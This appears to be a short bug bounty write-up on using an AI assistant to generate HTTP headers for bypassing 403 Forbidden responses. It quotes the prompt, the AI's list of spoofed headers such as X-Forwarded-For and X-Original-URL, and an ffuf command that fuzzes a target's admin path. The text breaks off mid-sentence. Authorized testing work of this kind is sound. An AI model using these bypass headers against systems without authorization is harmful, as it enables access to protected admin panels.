How AI Helped Me to Bypass 403 — Forbidden

Guide on how you can use AI to move a step ahead in bug bounty race

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Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:

It4chis3c

Bug Bounty Hunting Series

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Credit: Gemini | Imagen 3

Note: This writeup demonstrates on how you can use AI to advance your existing techniques and to automate stuffs…

Use AI to create Header-Based Bypass Payloads

Prompt: “Give me a list of headers to bypass 403 Forbidden responses. Target is using Cloudflare and Nginx.”

Response:

X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: target.com
X-Original-URL: /api/admin-panel/config

Use ffuf with AI-generated headers:

ffuf -w ai_headers.txt -u http://target.com/admin -H "FUZZ" -mc 200

AI’s Role

Manual header testing is slow and often misses obscure headers (e.g., X-Original-URL…